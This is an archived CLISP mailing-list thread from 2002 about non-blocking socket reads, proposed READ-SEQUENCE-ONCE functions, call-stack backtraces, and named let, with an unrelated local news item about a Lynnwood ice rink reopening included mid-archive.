I have an existence proof.  I seem to keep running into CLISP walls.

If I can't support 50 simultaneous users (which my current server can)
there's no point in making the transition.  I've already implemented a CLISP
FFI library which gives me accesses to all the interfaces I need.  I just
can't move data conveniently between my nqueues and the kernel's socket
buffers.

	Dave




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> -----Original Message-----
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> [mailto:clisp-list-admin@lists.sourceforge.net]On Behalf Of Sam
> Steingold
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> Subject: Re: [clisp-list] FFI - Creating c-places in LISP? ->
> READ-SOME-SEQUEN CE
>
>
> > * In message
> <DFD875E85664D3118FA6080006277DE706A84F37@U8PN2.blf01.telekom.de>
> > * On the subject of "[clisp-list] FFI - Creating c-places in
> LISP? -> READ-SOME-SEQUEN CE"
> > * Sent on Wed, 2 Oct 2002 10:06:45 +0200
> > * Honorable "Hoehle, Joerg-Cyril"
> <Joerg-Cyril.Hoehle@t-systems.com> writes:
> >
> > Dave Richards wrote:
> >
> > >; data is allocated in initialize-instance as:
> > >; (make-array (nq-size nq) :element-type '(unsigned-byte 8))
> > >
> > >My desire is to be able to call send() and recv() on the data part of
> > >(nq-data nq), i.e. I want a c-pointer to (aref (nq-data data) index).
> >
> > I don't understand why you need C for this.
> >
> > Suppose you had READ-SOME-BYTES
> >  (or READ-SOME-SEQUENCE
> >   or READ-PARTIAL-SEQUENCE
> >   or READ-SEQUENCE-PARTIAL), you'd call
> >
> > (READ-SOME-SEQUENCE sequence socket) ;? &optional start end
> >
> > and stay in Lisp. no C.
> >
> > READ-SOME-SEQUENCE is defined as a function which does a single OS
> > read() resp. recv() into the supplied sequence and returns the number
> > of bytes/characters/elements read.
>
> Note that we already have READ-BYTE-SEQUENCE and READ-CHAR-SEQUENCE (in
> addition to READ-SEQUENCE).  In addition to READ-SEQUENCE-ONCE, you
> will need also READ-CHAR-SEQUENCE-ONCE and READ-BYTE-SEQUENCE-ONCE
> (and make them generic functions too - see gray.lisp)

Yes, but the semantics of this interface is: do the requested I/O and either
(a) block until the specifies I/O completes, or (b) raise a condition
indicating it didn't.  That's great for almost all applications.  What I am
trying to create is an interface that layers right on top of the OS.  In
this interface the semantics are: do the requested I/O without blocking;
then tell me how much you actually accomplished.  This latter style is
exactly what my application needs and is much lighter weight.

Realizing the difference between what I wanted and how CLISP streams are
perceived to work, I decided to drop below the stream level and use the FFI.
(This is not dissimilar from dropped below the C FILE * (stdio) abstraction
and using the open(), close(), read() and write() abstraction.

	Dave




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> * In message <AOENJKDECJBPGIGJDAALGEDNCBAA.dave@synergy.org>
> * On the subject of "RE: [clisp-list] FFI - Creating c-places in LISP? -> READ-SOME-SEQUEN CE"
> * Sent on Wed, 2 Oct 2002 07:29:45 -0700
> * Honorable "Dave Richards" <dave@synergy.org> writes:
>
> > > READ-SOME-SEQUENCE is defined as a function which does a single OS
> > > read() resp. recv() into the supplied sequence and returns the number
> > > of bytes/characters/elements read.
> >
> > Note that we already have READ-BYTE-SEQUENCE and READ-CHAR-SEQUENCE (in
> > addition to READ-SEQUENCE).  In addition to READ-SEQUENCE-ONCE, you
> > will need also READ-CHAR-SEQUENCE-ONCE and READ-BYTE-SEQUENCE-ONCE
> > (and make them generic functions too - see gray.lisp)
> 
> Yes, but the semantics of this interface is: do the requested I/O and
> either (a) block until the specifies I/O completes, or (b) raise a
> condition indicating it didn't.  That's great for almost all
> applications.  What I am trying to create is an interface that layers
> right on top of the OS.  In this interface the semantics are: do the
> requested I/O without blocking; then tell me how much you actually
> accomplished.  This latter style is exactly what my application needs
> and is much lighter weight.

The contract of the READ-*-ONCE (WRITE-*-ONCE) functions is to make a
single read() (write()) OS call.  They will return the number of
objects (bytes or characters) read (written) - just like READ-SEQUENCE
(WRITE-SEQUENCE).
If this number is smaller than the size of the SEQUENCE argument, the
next i/o call will either block or return EOF (i.e., no more data is
immediately available).
We can even return a second value: NIL, :EOF, or :BLOCK.

I think this is what you want.  Am I right?

> Realizing the difference between what I wanted and how CLISP streams
> are perceived to work, I decided to drop below the stream level and
> use the FFI.  (This is not dissimilar from dropped below the C FILE *
> (stdio) abstraction and using the open(), close(), read() and write()
> abstraction.

I think you are making a mistake here.
Please reconsider.

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> * In message <AOENJKDECJBPGIGJDAALMEDMCBAA.dave@synergy.org>
> * On the subject of "RE: [clisp-list] FFI - Creating c-places in LISP? -> READ-SOME-SEQUENCE"
> * Sent on Wed, 2 Oct 2002 07:19:29 -0700
> * Honorable "Dave Richards" <dave@synergy.org> writes:
>
> Each socket must be non-blocking.

I am not sure you really need this.
Please do not get upset - I recognize the obvious, that you know TCP/IP
much better than I do, and you certainly have a better idea of what you
are trying to accomplish.
OTOH, I might have a slightly better understanding of CLISP's
(potential) capabilities.

> No loops in read or write can exist.  

I think that READ-*-ONCE and WRITE-*-ONCE would do what you need.

> I need to manipulate socket options both at the SOL_SOCKET and

I think you have it now with SOCKET-OPTIONS, right?
what is missing?

> IPPROTO_TCP level.

what is this?

> This application knows a lot more about how it wants to do I/O than
> CLISP's stream abstraction.

Yes, so you might be right that you do need to go low level.
OTOH, you might be wrong. :-)

> It does intellifent buffering, both on input and output.

CLISP does i/o buffering too.

> I've already implemented a CLISP FFI library which gives me accesses
> to all the interfaces I need.

would you like to make it available to other CLISP users?
IIUC, it is running on top of CLISP bindings/linuxlibc6 module.
maybe we can make it a part of CLISP distribution?

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> Yes, but the semantics of this interface is: do the requested I/O and
> > either (a) block until the specifies I/O completes, or (b) raise a
> > condition indicating it didn't.  That's great for almost all
> > applications.  What I am trying to create is an interface that layers
> > right on top of the OS.  In this interface the semantics are: do the
> > requested I/O without blocking; then tell me how much you actually
> > accomplished.  This latter style is exactly what my application needs
> > and is much lighter weight.
>
> The contract of the READ-*-ONCE (WRITE-*-ONCE) functions is to make a
> single read() (write()) OS call.  They will return the number of
> objects (bytes or characters) read (written) - just like READ-SEQUENCE
> (WRITE-SEQUENCE).
> If this number is smaller than the size of the SEQUENCE argument, the
> next i/o call will either block or return EOF (i.e., no more data is
> immediately available).
> We can even return a second value: NIL, :EOF, or :BLOCK.
>
> I think this is what you want.  Am I right?

In the previous discussion about TCP-based servers, I raised the issue than
the sockets needed to be marked non-blocking.  I thought we'd concluded that
doing so could potentially break existing stream code.  Did I misunderstand?
Non-blocking is required to ensure that each I/O only performs what is
possible with no delay and that the server is then available to perform
other work.  This is what I meant by partial read()s/write()s.

	Dave




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> * In message <AOENJKDECJBPGIGJDAALCEDOCBAA.dave@synergy.org>
> * On the subject of "RE: [clisp-list] FFI - Creating c-places in LISP? -> READ-SOME-SEQUEN CE"
> * Sent on Wed, 2 Oct 2002 08:01:08 -0700
> * Honorable "Dave Richards" <dave@synergy.org> writes:
>
> > The contract of the READ-*-ONCE (WRITE-*-ONCE) functions is to make a
> > single read() (write()) OS call.  They will return the number of
> > objects (bytes or characters) read (written) - just like READ-SEQUENCE
> > (WRITE-SEQUENCE).
> > If this number is smaller than the size of the SEQUENCE argument, the
> > next i/o call will either block or return EOF (i.e., no more data is
> > immediately available).
> > We can even return a second value: NIL, :EOF, or :BLOCK.
> >
> > I think this is what you want.  Am I right?
> 
> In the previous discussion about TCP-based servers, I raised the issue
> than the sockets needed to be marked non-blocking.  I thought we'd
> concluded that doing so could potentially break existing stream code.
> Did I misunderstand?  Non-blocking is required to ensure that each I/O
> only performs what is possible with no delay and that the server is
> then available to perform other work.  This is what I meant by partial
> read()s/write()s.

CMIIAW: if you have a regular blocking socket and you call read/write
on it and it has _something_, it will not block.
the only way it might block is if it has _nothing_.
So you can use the regular CLISP buffered socket streams with the
proposed WRITE-SEQUENCE-ONCE and READ-SEQUENCE-ONCE and use the second
value to decide whether the next i/o will block or not.
Alternatively you can use SOCKET-STATUS before i/o: this should be
cheap enough because you will be doing block i/o, not byte i/o.

WAIM?

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> CMIIAW: if you have a regular blocking socket and you call read/write
> on it and it has _something_, it will not block.
> the only way it might block is if it has _nothing_.
> So you can use the regular CLISP buffered socket streams with the
> proposed WRITE-SEQUENCE-ONCE and READ-SEQUENCE-ONCE and use the second
> value to decide whether the next i/o will block or not.
> Alternatively you can use SOCKET-STATUS before i/o: this should be
> cheap enough because you will be doing block i/o, not byte i/o.

We can try it.  The reason it was unsafe to trust this was because there
were implementation of select() (Linux used to be one of them) that would
falsely select() true when read() would block.  I had to work around this
case in my C server.  If that happened and the socket wasn't non-blocking,
the server would intermittently hang.  I am willing to try again.  I dislike
coding around bugs.  But this used to be a problem.

	Dave




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Dave Richards wrote:
>> I don't understand why you need C for this.
>It's quite simple. [...]  I already have a reasonably=20
>high-performance,
>single-threaded, multi-user implementation. [...]
>I have my code running in CMUCL now.
>I've already implemented a CLISP FFI
>library which gives me accesses to all the interfaces I need.

I see - you already have a large code base and want to integrate with =
that.
Then I suggest the following: write a little C extension that does the =
following (what READ-/WRITE-SOME-SEQUENCE would do for socket streams):

A) locate .d code to get to the pointer to the contents of a Lisp array =
(the unpack_...() stuff), even with displaced arrays, :start and :end =
keywords etc.. Copy&Paste that code.
B) couple that with a single call to recv() or send(). Add in the usual =
error reporting of CLISP.

Maybe it would even become trivial if READ-SOME-SEQUENCE would be =
implemented as a set of functions specialized for files, sockets etc. =
You could then call (the hopefully exported) =
read_some_bytes_socket(object array, SOCKET fd, ...) from the future =
STREAM.D.


Sam Steingold wrote:
>Note that we already have READ-BYTE-SEQUENCE and READ-CHAR-SEQUENCE =
(in
>addition to READ-SEQUENCE).  In addition to READ-SEQUENCE-ONCE, you
>will need also READ-CHAR-SEQUENCE-ONCE and READ-BYTE-SEQUENCE-ONCE
>(and make them generic functions too - see gray.lisp)

Argh... Too much overhead IMHO. :-(
Where's the KISS principle gone?
No wonder nobody ever added this functionality in the past.

I fear this is going into nightmares -- consider the multi-byte =
character / partial read interaction (e.g. that other current thread =
about Chinese): what if you read only half of a 2byte character?

BTW, I forgot why READ-BYTE/CHAR-SEQUENCE are needed in addition to the =
CLHS READ-SEQUENCE. Bruno Haible explained that once IIRC.


Dave wrote:
>I seem to keep running into CLISP walls.
Yeah. I think CLISP lost a few users in the past because of this. Err, =
I digress.

One wall - where I admitedly recognize myself - is about trying to find =
a general solution for partial reads when people would be satisfied =
with (unsigned-byte 8) only and don't care about multi-byte characters =
and encodings. "Keep the ball running" is in danger in all these MIT =
vs. Jersey situations.

Regards,
	J=F6rg H=F6hle.


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[Ok, I'll stop replying to both individuals and the list]

Sam Steingold wrote:
>CMIIAW: if you have a regular blocking socket and you call read/write
>on it and it has _something_, it will not block.
>the only way it might block is if it has _nothing_.
>So you can use the regular CLISP buffered socket streams with the
>proposed WRITE-SEQUENCE-ONCE and READ-SEQUENCE-ONCE and use the second
>value to decide whether the next i/o will block or not.
>Alternatively you can use SOCKET-STATUS before i/o: this should be
>cheap enough because you will be doing block i/o, not byte i/o.

I think this is enough for many applications, yet possibly not for Dave's very specialized one.

I slightly disagree on a detail: the second value (of what) cannot be used to determine blocking. Having sent 1305 bytes instead of requested 10000 does not necessarily mean that an immediately succeeding read or write will block.
The false assumption is that the initial r/w would have returned a larger value otherwise.
The OS is perfectly free to return 1 on each r/w. I mean, the OS is free to cut into packets no larger than the low-level MTU and return the size of this one buffer, even if there are more buffers available that it could immediately fill.

Only select() can tell whether blocking or not will happen.

An application I have in mind would do:
A. call select()
B. for every socket indicated by select, invoke read-or-write-some. This is guaranteed to be non-blocking thanks to (my interpretation of?) select.
C. Repeat by A.

This should yield fast threaded i/o which I believe works even without blocking sockets.

This doesn't take into account the neccessity of using non-blocking to do asynchronous connect() calls.

Comments on your experience whether this actually works? Or is non-blocking behaviour nevertheless required?

Dave Richards wrote:
>Non-blocking is required to ensure that each I/O only performs what is
>possible with no delay and that the server is then available to perform
>other work.  This is what I meant by partial read()s/write()s.
I believe non-blocking is not needed if preceeded by select(). Would you like to comment?

Regards,
	Jorg Hohle.


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I'm writing a Web CGI app in CLISP and at certain points where an
error is signaled I would like to display the eval/call stack on the
Web along with the rest of the error message.  Ideally I would like to
be able to get, for each frame, at least function name, but if
possible also the arguments and even better the source file and line
number.

Any way to do this?  Or is there a better way to handle this
situation?  The process will be running as a child of the Web server
so it is not obvious to me how to detach it or save state so I could
examine it w/ an interactive debugger.

I'm already aware of solutions that involve wrapping DEFUN in a macro
so I can maintain the current stack info myself, but (a) I don't want
to have to write that and (b) I don't want all that overhead with
every function call, even in a development environment.

Is there a way to get a data structure containing such info? Poking
around w/ APROPPOS, I see EXT:SHOW-STACK but it's not documented and I
think more for CLISP-developer use.

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> * In message <DFD875E85664D3118FA6080006277DE706A84FC4@U8PN2.blf01.telekom.de>
> * On the subject of "AW: [clisp-list] FFI - Creating c-places in LISP? -> READ-SOME-SE QUENCE"
> * Sent on Wed, 2 Oct 2002 18:49:48 +0200
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> Sam Steingold wrote:
> >Note that we already have READ-BYTE-SEQUENCE and READ-CHAR-SEQUENCE (in
> >addition to READ-SEQUENCE).  In addition to READ-SEQUENCE-ONCE, you
> >will need also READ-CHAR-SEQUENCE-ONCE and READ-BYTE-SEQUENCE-ONCE
> >(and make them generic functions too - see gray.lisp)
>
> Argh... Too much overhead IMHO. :-(

no overhead at all.  STREAM-READ-SEQUENCE-ONCE is generic, but it
is used only for gray streams.  The built-in streams, like socket
steams, use the built-in READ-SEQUENCE-ONCE directly.

> BTW, I forgot why READ-BYTE/CHAR-SEQUENCE are needed in addition to
> the CLHS READ-SEQUENCE. Bruno Haible explained that once IIRC.

I hope Bruno will speak up here.

defs2.lisp says:

;; READ-SEQUENCE and WRITE-SEQUENCE are badly specified because they assume
;; that the stream has a unique element type, either subtype of CHARACTER or
;; subtype of INTEGER. But some streams (esp. generic-streams) have a type
;; of (OR CHARACTER INTEGER).

So, Joerg, are you gonna do the READ/WRITE-SEQUENCE-ONCE patch?

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> * In message <200210021739.g92HdlwW004306@van-halen.alma.com>
> * On the subject of "[clisp-list] How to get the call stack?"
> * Sent on Wed, 2 Oct 2002 13:39:47 -0400
> * Honorable "John K. Hinsdale" <hin@alma.com> writes:
>
> I'm writing a Web CGI app in CLISP and at certain points where an
> error is signaled I would like to display the eval/call stack on the
> Web along with the rest of the error message.  Ideally I would like to
> be able to get, for each frame, at least function name, but if
> possible also the arguments and even better the source file and line
> number.

with interpreted code, :bt4 will get you what you want.
that's (sys::debug-backtrace 4).

> Any way to do this?  Or is there a better way to handle this
> situation?  The process will be running as a child of the Web server
> so it is not obvious to me how to detach it or save state so I could
> examine it w/ an interactive debugger.
> 
> I'm already aware of solutions that involve wrapping DEFUN in a macro
> so I can maintain the current stack info myself, but (a) I don't want
> to have to write that and (b) I don't want all that overhead with
> every function call, even in a development environment.
> 
> Is there a way to get a data structure containing such info? Poking
> around w/ APROPPOS, I see EXT:SHOW-STACK but it's not documented and I
> think more for CLISP-developer use.

this is the only thing you can use now.
it is equivalent to :bt1 in the debugger.
it prints everything on the STACK at the call time, and with certain
care, you can decipher it and understand the call stack.

A priori, we do not know whether, say, a closure on the STACK is a
funcalled object or an argument to another funcall.
SP might help there.
But neither SYS::DEBUG-BACKTRACE nor EXT:SHOW-STACK examine it.

Bruno, could you please comment?

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Pascal Bourguignon wrote:

> How can one increase the stack size?

The -m option does it. A fixed portion (one sixteenth or so) or the
given memory amount is used for the Lisp stack.

The "ulimit -s" trick would have applied if the error message had been
"Program stack overflow".

> Even for the functions that are documented, it's quite imprecise.

The documentation assumes a certain amount of common sense.
For example, functions returning boolean are described as
"Returns true if <foobar>." We don't add a sentence "Return false if
not." because it is obvious to most users, and we don't want bore them.

> For example you can't know from the doc whether ext:run-program runs
> it asynchronously or not.

This is not specified because this is implementation dependent; it
depends on the operating system. However those things that you can
influence are documented, such as the :WAIT argument:

   WAIT
            whether to wait for program termination or not (this is
            useful when no i/o to the process is needed). 

Again, it is common sense that you cannot expect an asynchronous
operation on OSes like DOS or when you pass :WAIT T.

Bruno


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Sam writes:
> >  In addition to READ-SEQUENCE-ONCE, you
> >  will need also READ-CHAR-SEQUENCE-ONCE and READ-BYTE-SEQUENCE-ONCE

If you rename them to READ-CHAR-SEQUENCE-NONBLOCKING and
READ-BYTE-SEQUENCE-NONBLOCKING it's easier to understand what they do.

> > BTW, I forgot why READ-BYTE/CHAR-SEQUENCE are needed in addition to
> > the CLHS READ-SEQUENCE. Bruno Haible explained that once IIRC.

They are needed because some streams support both characters and
integers, and when you read into a sequence that can hold both (like a
LIST or a (VECTOR T)) the implementation couldn't know which side of
the stream to use.

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> * In message <15771.34639.111558.854563@honolulu.ilog.fr>
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> * Sent on Thu, 3 Oct 2002 01:54:55 +0200 (CEST)
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> Sam writes:
> > >  In addition to READ-SEQUENCE-ONCE, you
> > >  will need also READ-CHAR-SEQUENCE-ONCE and READ-BYTE-SEQUENCE-ONCE
> 
> If you rename them to READ-CHAR-SEQUENCE-NONBLOCKING and
> READ-BYTE-SEQUENCE-NONBLOCKING it's easier to understand what they do.

But they are _not_ non-blocking!
they call read/write just once, and if that blocks, they do too.


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Joerg wrote:
> I believe non-blocking is not needed if preceeded by select(). Would
> you like to comment?

select() does not tell you how many bytes of input you can read, or
how many bytes you can write, without blocking. Thus if you want to
avoid blocking, you have to read() or write() the bytes one by one,
which damages performance if there is not a computation intensive
counterpart on the Lisp side.

Therefore most Unices offer the ability to put a socket or file
descriptor into non-blocking mode.

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Sam writes:
> it prints everything on the STACK at the call time, and with certain
> care, you can decipher it and understand the call stack.
> 
> A priori, we do not know whether, say, a closure on the STACK is a
> funcalled object or an argument to another funcall.
> SP might help there.
> But neither SYS::DEBUG-BACKTRACE nor EXT:SHOW-STACK examine it.

It is correct. Many compilers nowadays generate debug information
even for optimized code, but the clisp bytecode compiler does not do
this. It would be a big but very useful project...

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> * In message <15771.35410.767517.918473@honolulu.ilog.fr>
> * On the subject of "Re: [clisp-list] How to get the call stack?"
> * Sent on Thu, 3 Oct 2002 02:07:46 +0200 (CEST)
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>
> Sam writes:
> > it prints everything on the STACK at the call time, and with certain
> > care, you can decipher it and understand the call stack.
> > 
> > A priori, we do not know whether, say, a closure on the STACK is a
> > funcalled object or an argument to another funcall.
> > SP might help there.
> > But neither SYS::DEBUG-BACKTRACE nor EXT:SHOW-STACK examine it.
> 
> It is correct. Many compilers nowadays generate debug information
> even for optimized code, but the clisp bytecode compiler does not do
> this. It would be a big but very useful project...

What about SP - does it already contain the information necessary to
split STACK into funcall sections or not?

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   >> I'm writing a Web CGI app in CLISP and at certain points where an
   >> error is signaled I would like to display the eval/call stack on the

 > with interpreted code, :bt4 will get you what you want.
 > that's (sys::debug-backtrace 4).

OK I tried that:

	(defun a (x) (+ 2 x))
	(defun b (y) (a (- 3 y)))
	(defun c (z)
	  (describe (sys::debug-backtrace 4))
	  (* 9 (b z)))
	(c 7)

and I got this error.

*** - SYSTEM::FRAME-UP-1: NIL is not a stack pointer

 > it is equivalent to :bt1 in the debugger.
 > it prints everything on the STACK at the call time, and with certain
 > care, you can decipher it and understand the call stack.

no problem; I don't mind wading through a data structure as long as I
can get to what I need.

I've gotten pretty used to having this info in Java & perl.  It's
indescribably handy when a critical Web site has some anomalous error
and you can see the trace right away where in the code it was, and
with what args.  (I've got some sites running at clients that will
send me an Email and can find, and sometimes even fix, the problem
before the user has literally stepped away for coffee or picked up the
phone to complain).  It scares them a bit actually :)

Another longer-term use I would make is to extend the METERING.LISP
module to compile runtime/consing stats on a function call-graph
basis, much in the way that "gprof" extends "prof" for "C" profiling.

If all else fails, I would fall back on warpping function definitions
in a macro that maintains this info in data structures of my own, but
it seems like a reasonable thing to get from the CLISP interpreter.


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Sam writes:

> > If you rename them to READ-CHAR-SEQUENCE-NONBLOCKING and
> > READ-BYTE-SEQUENCE-NONBLOCKING it's easier to understand what they do.
> 
> But they are _not_ non-blocking!
> they call read/write just once, and if that blocks, they do too.

This is not a well-defined description of some semantics, because a
single read() on a BSD system is not the same thing as a single read()
on a SysV system. On SysV, read() can return with a "short read"
spuriously, i.e. it can fill into the buffer fewer bytes than are
actually available - for no visible reason. Whereas on BSD systems,
your READ-BYTE-SEQUENCE-ONCE function will behave just like
READ-BYTE-SEQUENCE.

It's useless to introduce such variants if you cannot describe
in a portable way how they behave.

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> * In message <200210030004.g9304gej005485@van-halen.alma.com>
> * On the subject of "Re: [clisp-list] How to get the call stack?"
> * Sent on Wed, 2 Oct 2002 20:04:42 -0400
> * Honorable "John K. Hinsdale" <hin@alma.com> writes:
>
>    >> I'm writing a Web CGI app in CLISP and at certain points where an
>    >> error is signaled I would like to display the eval/call stack on the
> 
>  > with interpreted code, :bt4 will get you what you want.
>  > that's (sys::debug-backtrace 4).
> 
> OK I tried that:
> 
> 	(defun a (x) (+ 2 x))
> 	(defun b (y) (a (- 3 y)))
> 	(defun c (z)
> 	  (describe (sys::debug-backtrace 4))
> 	  (* 9 (b z)))
> 	(c 7)
> 
> and I got this error.
> 
> *** - SYSTEM::FRAME-UP-1: NIL is not a stack pointer

please look at reploop.lisp - you need to bind some variable &c...

> I've gotten pretty used to having this info in Java & perl.

Absolutely.
this is one of the places that __really__ need work.
any volunteers?

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Sam writes:

> What about SP - does it already contain the information necessary to
> split STACK into funcall sections or not?

No it doesn't. Functions which don't use UNWIND-PROTECT, CATCH and
similar special forms don't have SP entries of their own at runtime.

Bruno


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> >> I don't understand why you need C for this.
> >It's quite simple. [...]  I already have a reasonably
> >high-performance,
> >single-threaded, multi-user implementation. [...]
> >I have my code running in CMUCL now.
> >I've already implemented a CLISP FFI
> >library which gives me accesses to all the interfaces I need.
>
> I see - you already have a large code base and want to integrate
> with that.

Not really.  I have abstracted the low-level access routines to a class
called network-descriptor (ndesc).  This class handles all socket I/O, so I
am not struggling with a legacy issue here.  I am trying to gain the same
level of efficiency/performance I had in C and can get in CMUCL.

> Then I suggest the following: write a little C extension that
> does the following (what READ-/WRITE-SOME-SEQUENCE would do for
> socket streams):

That may be the solution.  Because the FFI already provided 99% of what I
needed, I'd hoped that being able to create a c-pointer from an (unsigned
byte 8) array would finish it off and I'd be done.  The FFI does everything
else I need.

	Dave




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 > > If you rename them to READ-CHAR-SEQUENCE-NONBLOCKING and
 > > READ-BYTE-SEQUENCE-NONBLOCKING it's easier to understand what they do.
 > 
 > But they are _not_ non-blocking!
 > they call read/write just once, and if that blocks, they do too.

This is exactly what I DON'T want!
For what I DO want the name NONBLOCKING seems very appropriate.

I want a function that will never block, and will read/write as many 
chars/bytes as it can immediately, up to a specified limit.
For best performance I suggest that we pass it an array, 
a start index and an end index (or maximum number of chars/bytes 
to read/write), and that it put/get the chars/bytes to/from that
array, returning the number that were actually read/written.
That number could even be zero.
I would hope, however, that there would be a small limit on the number
of times that select can tell you that a stream is ready to read/write
after which the corresponding nonblocking operation returns zero.
(I don't want to waste all day with select saying ready and read/write
doing nothing.)
The one case where I do want select to say ready and the operation to
return zero is when eof arrives (and I've already read everything up
to the eof), but in that case the operation should "read" the eof, so
select no longer reports that there's something waiting to be read.




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Date: Thu Oct  3 21:20:04 2002
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New Lynnwood Ice Rink Reopens In 
September With New High Performance Rink 
System


LYNNWOOD -- A new ice arena will open in Lynnwood Sept. 15, about four
months after the SnoKing 
Ice Arena closed. Washington Ice Skating Association, which owns both the
former SnoKing rink and 
the Olympicview private ice rink in Mountlake Terrace, is remodeling and
reopening the rink as the 
Lynnwood Ice Center. 

The new ice center will be in the renovated SnoKing building at 19803 68th
Ave. W. After 20-plus 
years of being open to the public, the SnoKing Ice Arena closed suddenly
at the end of March. Former 
SnoKing manager Doug Stewart said they left because "we leased the land
and building, and it wasn't 
economically feasible to continue it that way." Stewart said SnoKing owner
Lexi Doner tried to get the 
association to lower the rent and remodel it, but it didn't happen. Doner
decided to close SnoKing. 
Doner, now owner of the Kent Valley Ice Centre, wasn't available for
comment. In the meantime, plans 
were made by association board members to renovate the old rink and make
it "safer and more 
enjoyable place for families and youth to come to," Lynnwood Ice Center
general manager Kevin 
Urbanski said. 

Upgrades to the facility ice rink system includes a new high performance
TurboChiller refrigeration 
system complete with an advanced microprocessor control system, new sand
base rink floor system, 
professional steel framed dasher board system, and dehumidification
system. The ice rink system was 
provided by Burley’s Rink Supply of Johnstown, PA.  - www.burleys.com. “It
was great to have this 
opportunity to work with WISA once again after installing their Mt. Lake
Terrace Complex some years 
ago.  They will be very happy with advancements made with our TurboChiller
system and the 
exceptional energy performance it provides over other ice making systems.
This owner also wanted to 
changed from a dangerous ammonia system to a much safer environmentally
stable halocarbon 
refrigerant.” said John Burley. “Many complexes installing ammonia systems
today are not being 
installed in accordance with United States codes”. Many Canadian companies
are promoting 
ammonia systems without knowing, or properly advising owners, of all true
code compliance issues 
required to have a safe system. This is very troublesome since ammonia is
highly toxic and flammable 
and is very dangerous if not installed in compliance with the code. There
have been more than one ice 
rink mechanical room destroyed by ammonia explosions.”

WISA hired Seattle based construction specialist Ken Clark of Development
Services to provide 
coordination and project manage services.  Mr. Clark has become someone of
an expert in arena 
construction activities having spearheaded almost a half a dozen projects
in recent years and 
consulted on many more. 

Ryan General Construction provided all construction services. Ryan also
helped round out the circle of 
experienced contractors since Ryan has been involved with previous ice
rink projects such as the 
Castle Ice complex finished last year in Renton, Washington.  John Burley
said “ it is great working with 
the combination of talent we had on this project. Both Ken and Peter know
these types of projects well 
and make the most adverse construction obstacle easy to overcome. And,
since renovations take 
some extra effort and experience, it was great to have them on this
project.” 

Mr. Ken Clark of Development Services can be contacted at 206-236-2756.
Mr. Peter Meyer of Ryan Construction can be reached at 425-488-4489.
Mr. John Burley of Burley’s Rink Supply can be reached at 1-800-428-7539.

The new center is a non-profit organization, said Ric Newgard, executive
director of Seattle Junior 
Hockey and secretary/treasurer for the association. The association is
made up of the Seattle Skating 
Association and Seattle Junior Hockey. Both are non-profit groups that
make their money through 
bingo halls in Edmonds and Mountlake Terrace, and pull tab games offered
in connection with the 
Silver Dollar Casino on 220th Street SW in Mountlake Terrace. The new ice
center has a new ice 
surface, lobby, pro shop with new skates and a snack bar. The renovation
has added a birthday room, 
an arcade, a DJ music booth for weekend youth events and special lighting.
The parking lot is more 
open, bright and safe, Urbanski added.


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Scheme has a construct called a named let, which in addition to a normal
let/let* construct arranges for a label to be created around the construct
such that it can be invoked inside the construct.  This was a very elegant
and tight construct for recursive loops, e.g.:

	(let loop ((v-1 init-1)
	           (v-2 init-2))
	  ...
	  (loop (cdr v-1) (cdr v-2)))

This can easily be converted to:

	(labels
       ((loop (v-1 v-2)
          ...
          (loop (cdr v-1) (cdr v-2))))
	 (loop v-1 v-2))

I know, but does ANSI LISP provide such a macro/construct?  It's one of
those "I'd use it if it existed" things.  I don't see such a cnstruct, but I
thought I'd ask in case it's buried inside the spec somewhere.

	Thanks!

	Dave




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Hi,

>Scheme has a construct called a named let,
>  This was a very elegant
>and tight construct for recursive loops, e.g.:

Strange. While in CL, I never ever missed Scheme's named let, while in =
Scheme the programmer often has to resort to it (need recursion for =
iteration).

You may wish to look at the ITERATE macro (probably need to peek at =
Cliki), which I once thought would be worthwhile to use. It looks very =
similar to the named let.
However iterate is a little dangerous in maintenance, because when you =
modify your code and the iterate call is not in a tail position =
anymore, strange things may happen. Tim Bradshaw once explained in cll =
in similarly why he had stopped using ITERATE.

I just feel that CL has enough looping constructs that named-let for =
iteration is not needed (by me). A named let for recursive tree descent =
may be interesting though, but that's not iteration any more, which is =
what you asked for.

Obviously it depends on one's daily programming style.

Regards,
	J=F6rg H=F6hle.


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Bruno Haible wrote:

>This is not a well-defined description of some semantics, because a
>single read() on a BSD system is not the same thing as a single read()
>on a SysV system.
That's why I talked about the pragmatics of the function, not the semantics :-)

BTW, I still prefer the name read-partial or read-some over read-once, because it describes *what* it does, instead of *how* it does it.

>On SysV, read() can return with a "short read"
>[...]   Whereas on BSD systems,
>your READ-BYTE-SEQUENCE-ONCE function will behave just like
>READ-BYTE-SEQUENCE.

Did I understand you correctly: on BSD (e.g. old SunOS, not Solaris), read() would always fill up the full array and therefore delay (when in blocking mode)?
Then obviously, my suggestion and my scenario for threaded servers in blocking mode wouldn't apply.


Dave Richards wrote:
>The reason it was unsafe to trust this was because there
>were implementation of select() (Linux used to be one of them) that would
>falsely select() true when read() would block.
So that's another (or the same?) source of problems.

Both of you seem to state that without non-blocking sockets, one cannot have, on all systems (where CLISP runs on), a read() (or at least a socket recv()) that's guaranteed not to block, even when preceeded by select().


Don wrote:
> > they call read/write just once, and if that blocks, they do too.
>This is exactly what I DON'T want!
>For what I DO want the name NONBLOCKING seems very appropriate.
THe assumption (of apparently Sam and) I was that, if *prefixed by select(), it would not block.
That would have been very nice to use IMHO, but Dave says there are (or were) systems where this doesn't (or didn't) work.


Don wrote:
>(I don't want to waste all day with select saying ready and read/write
>doing nothing.)
That's why my idea was to use blocking mode, so that at least one call to read/write be executed, resulting in something read/written. I wished for strict monotonic behaviour, instead of possible polling.
Me too, I wanted no polling. I wanted strict monotonic behaviour in mathematic terms. I thought this could be achieved still using a combination of blocking sockets and select(). It seems, through Bruno's and Dave's comments, that this is not achievable on all platforms.

Regards,
	Jorg Hohle.


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We already have READ-CHAR-NO-HANG and READ-BYTE-NO-HANG, so, I think,
READ-SEQUENCE-NO-HANG is the right name, if we really need it.

> * In message <15771.35198.890395.898283@honolulu.ilog.fr>
> * On the subject of "Re: FFI - Creating c-places in LISP? -> READ-SOME-SEQUENCE"
> * Sent on Thu, 3 Oct 2002 02:04:14 +0200 (CEST)
> * Honorable Bruno Haible <haible@ilog.fr> writes:
>
> select() does not tell you how many bytes of input you can read, or
> how many bytes you can write, without blocking. Thus if you want to
> avoid blocking, you have to read() or write() the bytes one by one,
> which damages performance if there is not a computation intensive
> counterpart on the Lisp side.
> 
> Therefore most Unices offer the ability to put a socket or file
> descriptor into non-blocking mode.

So why not add FIONBIO to SOCKET-OPTIONS and let the users call that
before READ-SEQUENCE?

